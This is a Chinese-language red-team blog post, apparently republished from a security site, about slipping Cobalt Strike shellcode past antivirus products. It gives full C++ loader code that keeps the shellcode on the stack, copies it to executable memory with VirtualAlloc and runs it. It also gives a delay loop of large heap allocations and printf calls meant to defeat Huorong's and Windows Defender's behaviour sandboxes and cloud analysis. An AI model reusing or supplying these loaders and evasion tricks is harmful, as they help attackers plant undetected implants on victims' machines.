By:Astartes
杀软对抗貌似是个经久不衰的议题,在我看来他是红队必备的基础设施之一,在红队中不可缺少,我想用这篇文章,尽量用大白话的形式来说一下 "静","动",这篇文章很基础。因为到头来我只讲了如何上线。同时,这篇文章又与别的文章不太一样,我想从比较基础的东西让初学者知道到底该如何对抗。
首先我们先看下面这段代码,定义了两个数组
int main()
{
char Characterarr[] = { '1','2','3','4','5','6' };
char String[] = { "123456" };
return 0;
}
这两个数组的不同之处在于
类型不同
Characterarr为字符数组,String为字符串。字符串在后面默认填\0
存放区域不同 字符数组或者小数组存放的位置在栈里,而字符串是常量,在常量区
请一定要注意这两种的格式,字符串由双引号包裹,字符数组由单引号包裹
在汇编里如下
char Characterarr[] = { '1','2','3','4','5','6' };
009E512F mov byte ptr [Characterarr],31h
009E5133 mov byte ptr [ebp-0Fh],32h
009E5137 mov byte ptr [ebp-0Eh],33h
009E513B mov byte ptr [ebp-0Dh],34h
009E513F mov byte ptr [ebp-0Ch],35h
009E5143 mov byte ptr [ebp-0Bh],36h
char String[] = { "123456" };
009E5147 mov eax,dword ptr [string "123456" (09E7B30h)]
009E514C mov dword ptr [String],eax
009E514F mov cx,word ptr ds:[9E7B34h]
009E5156 mov word ptr [ebp-1Ch],cx
009E515A mov dl,byte ptr ds:[9E7B36h]
009E5160 mov byte ptr [ebp-1Ah],dl
在汇编代码里我们可以更清晰的看到 char Characterarr[] = { '1','2','3','4','5','6' }; 是通过mov 把数组里的值放入了 ebp- 的位置,ebp是栈寄存器。
char String[] = { "123456" }; String确是由09E7B30h这个地址里的值传给eax的
这里的知识其实是C语言的内存四区以及PE结构的知识。如果你不懂,那没关系。 看我下面的操作 我们可以重新生成一下第一个C语言程序,并且把那两个数组改成下面的 更改的代码如下
int main()
{
char Characterarr[] = { '1','2','3','4','5','6' };
char String[] = { "123456123456123456" };
return 0;
}
在编译好后,用十六进制编辑器打开这个exe,接着去搜索这两个字符数组。 看下图,我只找到了String的123456123456123456。
同时静态查杀的原因既是如此,如果病毒的特征库里存在123456123456123456这个字符串,存在这个字符串那他被扫描的时候就可以判断为病毒文件了。通过查找在磁盘中的文件的特征码(这些特征码由病毒库通过大量分析得出)来进行查杀。
大家伙儿用的最多的cobaltstrike的shellcode,他生成的payload也是以字符串的形式,同样,它也保存在常量区。
目前大家用到的最多的方式是对shellcode这个字符串加密,加密过后,虽然他依然在常量区,但是已经不在杀软的特征库里了。 你也可以把他放入到栈里,这里有一个问题是当你的字符数组里的值太多的时候,或者 选择Release时会给你放到常量区,这是因为编译器会进行优化。
这是我没有进行处理的时候,通过cobaltstrike默认提供的字符串的形式去加载的。火绒直接识别出了特征
下面的代码是我用来实现栈中存放数据的。
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char* buf1()
{
char buf[] = { '\xfc','\xe8','\x89','\x00','\x00'}; //CS的shellcode太长,这里是实例
char* charbuf = new char[799];
memcpy(charbuf, buf, 799);
return charbuf;
}
typedef void(__stdcall* CODE) ();
int runshellcode()
{
char* charbuf = buf1();
PVOID p = NULL;
if ((p = VirtualAlloc(NULL, sizeof(charbuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
if (!(memcpy(p, charbuf, 799)))
MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);
CODE code = (CODE)p;
code();
return 0;
}
用栈的方式来实现非常简单,只需要把字符串改成字符数组即可,但是我们要注意编译器选择的栈的大小,我记得visual studio的默认栈的大小为1MB,如果超出这个大小,则情况未知,因为栈是由编译器进行维护的,我们是不可控的。 我用的是visual studio 2022 项目为debug版,因为选择Release时会给你放到常量区,同时我我的shellcode大小为799个, 我在把shellcode放入栈以后立马给了堆里,因为我怕再多的操作栈会被覆盖。
char buf[] = { 's','h','e','l','l'} //栈里
char* charbuf = new char[799]; //创建个堆,其实这行在上面之前会更好
memcpy(charbuf, buf, 799); //立马拷贝到堆里
return charbuf;
当然也可以通过编译器的选项来更改栈的大小,visual studio 的设置如下(我的是为默认设置)
接着我把生成好的文件放入了虚拟机
通过报警提示可以发现,这里的提示是(行为沙盒)。 并不是直接识别出了我们的特征码,到此我们已经过掉了静态的特征码查杀。
虽然我们已经绕过了静态查杀,但是现在的还是报毒,火绒的行为沙盒的介绍在这里http://www.huorong.cn/info/148473162658.html 当然除了火绒之外,其他的杀软也是有行为沙盒的,比如windows defender。 我查阅了大量的资料,很多资料是通过环境探测,父进程,命令参数,等各种方式,这些方式很好,但是真的不适合真实环境的对抗。
我这边的思路是只要在这个沙盒运行的时候让我们的程序不执行shellcode就好了
这种沙盒是有运行时间的,最多在10ms。因为再长了会很影响用户体验的 我们只要想办法让我们的shellcode再10ms后运行加载即可。 别用sleep因为sleep会被hook 我想了很多种办法,最后发现还是这个比较好用。因为它适合各种环境 我这里用的办法是开辟N个很大的堆,然后填充0。接着去打印他 开辟很大的堆这个是刚开始可以直接过windows defender的行为沙盒的。 但是大部分时候我们不知道对方用的是什么杀软。所以后面的填充0以及打印是一个过沙箱比较通用的方法。(同时他也可以绕过云上的检测,因为云把你的程序拖到云上机器来进行分析。) 众所周知,输入输出函数效率是很低的。 完整的代码如下。
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
char* buf1()
{
char buf[] = { "SHELLCODE" };
char* charbuf = new char[799];
memcpy(charbuf, buf, 799);
return charbuf;
}
typedef void(__stdcall* CODE) ();
int runshellcode()
{
char* charbuf = buf1();
PVOID p = NULL;
if ((p = VirtualAlloc(NULL, sizeof(charbuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
if (!(memcpy(p, charbuf, 799)))
MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);
CODE code = (CODE)p;
code();
return 0;
}
int createheap() //Bypass
{
int i = 0;
int j = 0;
char* strpi = NULL;
strpi = (char*)malloc(10000);
for (i = 0; i < 10000; i++)
{
strpi[i] = 0;
printf("%d,%d\n", strpi[i], i);
}
/*
for (j = 0; j < 300; j++)
{
printf("%d,%d\n", strpi[j], j);
}
*/
free(strpi);
return 0;
}
int main()
{
int i;
for (i = 0; i < 1000; i++)
{
createheap();
}
if (i == 1000)
{
runshellcode();
}
return 0;
}
下面测试一下~
本文作者:Astartes
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/176362.html